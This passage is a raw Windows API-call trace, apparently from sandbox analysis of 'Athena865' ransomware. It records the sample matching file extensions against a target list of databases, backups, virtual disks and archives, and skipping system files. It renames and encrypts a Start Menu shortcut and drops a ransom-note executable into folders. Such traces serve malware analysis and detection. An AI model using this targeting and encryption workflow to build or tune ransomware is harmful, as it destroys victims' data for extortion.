[0099.517] lstrcmpiW (lpString1="irefox.lnk", lpString2="db-journal") returned 1 [0099.517] lstrlenW (lpString="db-shm") returned 6 [0099.517] lstrcmpiW (lpString1="ox.lnk", lpString2="db-shm") returned 1 [0099.517] lstrlenW (lpString="db-wal") returned 6 [0099.517] lstrcmpiW (lpString1="ox.lnk", lpString2="db-wal") returned 1 [0099.517] lstrlenW (lpString="dbc") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.517] lstrlenW (lpString="dbs") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.517] lstrlenW (lpString="dbt") returned 3 [0099.517] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.518] lstrlenW (lpString="dbv") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.518] lstrlenW (lpString="dbx") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.518] lstrlenW (lpString="dcb") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.518] lstrlenW (lpString="dct") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.518] lstrlenW (lpString="dcx") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.518] lstrlenW (lpString="ddl") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.518] lstrlenW (lpString="dlis") returned 4 [0099.518] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.518] lstrlenW (lpString="dp1") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.518] lstrlenW (lpString="dqy") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.518] lstrlenW (lpString="dsk") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.518] lstrlenW (lpString="dsn") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.518] lstrlenW (lpString="dtsx") returned 4 [0099.518] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.518] lstrlenW (lpString="dxl") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.518] lstrlenW (lpString="eco") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.518] lstrlenW (lpString="ecx") returned 3 [0099.518] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.518] lstrlenW (lpString="edb") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.519] lstrlenW (lpString="epim") returned 4 [0099.519] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.519] lstrlenW (lpString="fcd") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.519] lstrlenW (lpString="fdb") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.519] lstrlenW (lpString="fic") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.519] lstrlenW (lpString="flexolibrary") returned 12 [0099.519] lstrcmpiW (lpString1=" Firefox.lnk", lpString2="flexolibrary") returned -1 [0099.519] lstrlenW (lpString="fm5") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.519] lstrlenW (lpString="fmp") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.519] lstrlenW (lpString="fmp12") returned 5 [0099.519] lstrcmpiW (lpString1="x.lnk", lpString2="fmp12") returned 1 [0099.519] lstrlenW (lpString="fmpsl") returned 5 [0099.519] lstrcmpiW (lpString1="x.lnk", lpString2="fmpsl") returned 1 [0099.519] lstrlenW (lpString="fol") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.519] lstrlenW (lpString="fp3") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.519] lstrlenW (lpString="fp4") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0099.519] lstrlenW (lpString="fp5") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.519] lstrlenW (lpString="fp7") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.519] lstrlenW (lpString="fpt") returned 3 [0099.519] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.520] lstrlenW (lpString="frm") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.520] lstrlenW (lpString="gdb") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.520] lstrlenW (lpString="gdb") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.520] lstrlenW (lpString="grdb") returned 4 [0099.520] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.520] lstrlenW (lpString="gwi") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.520] lstrlenW (lpString="hdb") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.520] lstrlenW (lpString="his") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.520] lstrlenW (lpString="ib") returned 2 [0099.520] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.520] lstrlenW (lpString="idb") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.520] lstrlenW (lpString="ihx") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.520] lstrlenW (lpString="itdb") returned 4 [0099.520] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.520] lstrlenW (lpString="itw") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.520] lstrlenW (lpString="jet") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.520] lstrlenW (lpString="jtx") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.520] lstrlenW (lpString="kdb") returned 3 [0099.520] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.520] lstrlenW (lpString="kexi") returned 4 [0099.520] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.521] lstrlenW (lpString="kexic") returned 5 [0099.521] lstrcmpiW (lpString1="x.lnk", lpString2="kexic") returned 1 [0099.521] lstrlenW (lpString="kexis") returned 5 [0099.521] lstrcmpiW (lpString1="x.lnk", lpString2="kexis") returned 1 [0099.521] lstrlenW (lpString="lgc") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.521] lstrlenW (lpString="lwx") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.521] lstrlenW (lpString="maf") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.521] lstrlenW (lpString="maq") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.521] lstrlenW (lpString="mar") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.521] lstrlenW (lpString="marshal") returned 7 [0099.521] lstrcmpiW (lpString1="fox.lnk", lpString2="marshal") returned -1 [0099.521] lstrlenW (lpString="mas") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.521] lstrlenW (lpString="mav") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.521] lstrlenW (lpString="maw") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.521] lstrlenW (lpString="mdbhtml") returned 7 [0099.521] lstrcmpiW (lpString1="fox.lnk", lpString2="mdbhtml") returned -1 [0099.521] lstrlenW (lpString="mdn") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.521] lstrlenW (lpString="mdt") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.521] lstrlenW (lpString="mfd") returned 3 [0099.521] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.522] lstrlenW (lpString="mpd") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.522] lstrlenW (lpString="mrg") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.522] lstrlenW (lpString="mud") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.522] lstrlenW (lpString="mwb") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.522] lstrlenW (lpString="myd") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.522] lstrlenW (lpString="ndf") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.522] lstrlenW (lpString="nnt") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.522] lstrlenW (lpString="nrmlib") returned 6 [0099.522] lstrcmpiW (lpString1="ox.lnk", lpString2="nrmlib") returned 1 [0099.522] lstrlenW (lpString="ns2") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.522] lstrlenW (lpString="ns3") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.522] lstrlenW (lpString="ns4") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.522] lstrlenW (lpString="nsf") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.522] lstrlenW (lpString="nv") returned 2 [0099.522] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.522] lstrlenW (lpString="nv2") returned 3 [0099.522] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.522] lstrlenW (lpString="nwdb") returned 4 [0099.522] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.522] lstrlenW (lpString="nyf") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.523] lstrlenW (lpString="odb") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.523] lstrlenW (lpString="odb") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.523] lstrlenW (lpString="oqy") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.523] lstrlenW (lpString="ora") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.523] lstrlenW (lpString="orx") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.523] lstrlenW (lpString="owc") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.523] lstrlenW (lpString="p96") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.523] lstrlenW (lpString="p97") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.523] lstrlenW (lpString="pan") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.523] lstrlenW (lpString="pdb") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.523] lstrlenW (lpString="pdm") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0099.523] lstrlenW (lpString="pnz") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.523] lstrlenW (lpString="qry") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.523] lstrlenW (lpString="qvd") returned 3 [0099.523] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.523] lstrlenW (lpString="rbf") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.524] lstrlenW (lpString="rctd") returned 4 [0099.524] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.524] lstrlenW (lpString="rod") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.524] lstrlenW (lpString="rodx") returned 4 [0099.524] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.524] lstrlenW (lpString="rpd") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.524] lstrlenW (lpString="rsd") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.524] lstrlenW (lpString="sas7bdat") returned 8 [0099.524] lstrcmpiW (lpString1="efox.lnk", lpString2="sas7bdat") returned -1 [0099.524] lstrlenW (lpString="sbf") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.524] lstrlenW (lpString="scx") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.524] lstrlenW (lpString="sdb") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.524] lstrlenW (lpString="sdc") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.524] lstrlenW (lpString="sdf") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.524] lstrlenW (lpString="sis") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.524] lstrlenW (lpString="spq") returned 3 [0099.524] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.524] lstrlenW (lpString="te") returned 2 [0099.524] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.524] lstrlenW (lpString="teacher") returned 7 [0099.525] lstrcmpiW (lpString1="fox.lnk", lpString2="teacher") returned -1 [0099.525] lstrlenW (lpString="tmd") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.525] lstrlenW (lpString="tps") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.525] lstrlenW (lpString="trc") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.525] lstrlenW (lpString="trc") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.525] lstrlenW (lpString="trm") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.525] lstrlenW (lpString="udb") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.525] lstrlenW (lpString="udl") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.525] lstrlenW (lpString="usr") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.525] lstrlenW (lpString="v12") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.525] lstrlenW (lpString="vis") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.525] lstrlenW (lpString="vpd") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.525] lstrlenW (lpString="vvv") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.525] lstrlenW (lpString="wdb") returned 3 [0099.525] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.525] lstrlenW (lpString="wmdb") returned 4 [0099.525] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.525] lstrlenW (lpString="wrk") returned 3 [0099.526] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.526] lstrlenW (lpString="xdb") returned 3 [0099.526] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.526] lstrlenW (lpString="xld") returned 3 [0099.526] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.526] lstrlenW (lpString="xmlff") returned 5 [0099.526] lstrcmpiW (lpString1="x.lnk", lpString2="xmlff") returned -1 [0099.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Mozilla Firefox.lnk.Athena865") returned 64 [0099.526] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\start menu\\programs\\mozilla firefox.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Mozilla Firefox.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\mozilla firefox.lnk.athena865"), dwFlags=0x1) returned 1 [0099.527] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Mozilla Firefox.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\mozilla firefox.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1169) returned 1 [0099.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.528] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.529] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.529] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.529] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0099.531] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0099.531] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.532] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.532] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.533] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.533] CloseHandle (hObject=0x154) returned 1 [0099.533] CloseHandle (hObject=0x17c) returned 1 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.533] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2=".") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="..") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="windows") returned -1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="bootmgr") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="temp") returned -1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="pagefile.sys") returned 1 [0099.533] lstrcmpiW (lpString1="SharePoint", lpString2="boot") returned 1 [0099.534] lstrcmpiW (lpString1="SharePoint", lpString2="ids.txt") returned 1 [0099.534] lstrcmpiW (lpString1="SharePoint", lpString2="ntuser.dat") returned 1 [0099.534] lstrcmpiW (lpString1="SharePoint", lpString2="perflogs") returned 1 [0099.534] lstrcmpiW (lpString1="SharePoint", lpString2="MSBuild") returned 1 [0099.534] lstrlenW (lpString="SharePoint") returned 10 [0099.534] lstrcpyW (in: lpString1=0x241e88e, lpString2="SharePoint" | out: lpString1="SharePoint") returned="SharePoint" [0099.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bef0 [0099.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x524430 [0099.534] lstrcatW (in: lpString1="SharePoint", lpString2="\\" | out: lpString1="SharePoint\\") returned="SharePoint\\" [0099.534] lstrcatW (in: lpString1="SharePoint\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SharePoint\\HOW TO BACK YOUR FILES.exe") returned="SharePoint\\HOW TO BACK YOUR FILES.exe" [0099.534] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\SharePoint\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\sharepoint\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.537] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2=".") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="..") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="windows") returned -1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="bootmgr") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="temp") returned -1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="pagefile.sys") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="boot") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="ids.txt") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="ntuser.dat") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="perflogs") returned 1 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2="MSBuild") returned 1 [0099.537] lstrlenW (lpString="Sidebar.lnk") returned 11 [0099.537] lstrcpyW (in: lpString1=0x241e88e, lpString2="Sidebar.lnk" | out: lpString1="Sidebar.lnk") returned="Sidebar.lnk" [0099.537] lstrlenW (lpString="Sidebar.lnk") returned 11 [0099.537] lstrlenW (lpString="Athena865") returned 9 [0099.537] lstrcmpiW (lpString1="debar.lnk", lpString2="Athena865") returned 1 [0099.537] lstrlenW (lpString=".dll") returned 4 [0099.537] lstrcmpiW (lpString1="Sidebar.lnk", lpString2=".dll") returned 1 [0099.538] lstrlenW (lpString=".lnk") returned 4 [0099.538] lstrcmpiW (lpString1="Sidebar.lnk", lpString2=".lnk") returned 1 [0099.538] lstrlenW (lpString=".ini") returned 4 [0099.538] lstrcmpiW (lpString1="Sidebar.lnk", lpString2=".ini") returned 1 [0099.538] lstrlenW (lpString=".sys") returned 4 [0099.538] lstrcmpiW (lpString1="Sidebar.lnk", lpString2=".sys") returned 1 [0099.538] lstrlenW (lpString="Sidebar.lnk") returned 11 [0099.538] lstrlenW (lpString="bak") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.538] lstrlenW (lpString="ba_") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.538] lstrlenW (lpString="dbb") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.538] lstrlenW (lpString="vmdk") returned 4 [0099.538] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.538] lstrlenW (lpString="rar") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.538] lstrlenW (lpString="zip") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.538] lstrlenW (lpString="tgz") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.538] lstrlenW (lpString="vbox") returned 4 [0099.538] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.538] lstrlenW (lpString="vdi") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.538] lstrlenW (lpString="vhd") returned 3 [0099.538] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.538] lstrlenW (lpString="vhdx") returned 4 [0099.538] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.538] lstrlenW (lpString="avhd") returned 4 [0099.538] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.539] lstrlenW (lpString="db") returned 2 [0099.539] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.539] lstrlenW (lpString="db2") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.539] lstrlenW (lpString="db3") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.539] lstrlenW (lpString="dbf") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.539] lstrlenW (lpString="mdf") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.539] lstrlenW (lpString="mdb") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.539] lstrlenW (lpString="sql") returned 3 [0099.539] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.539] lstrlenW (lpString="sqlite") returned 6 [0099.539] lstrcmpiW (lpString1="ar.lnk", lpString2="sqlite") returned -1 [0099.539] lstrlenW (lpString="sqlite3") returned 7 [0099.539] lstrcmpiW (lpString1="bar.lnk", lpString2="sqlite3") returned -1 [0099.539] lstrlenW (lpString="sqlitedb") returned 8 [0099.539] lstrcmpiW (lpString1="ebar.lnk", lpString2="sqlitedb") returned -1 [0099.539] lstrlenW 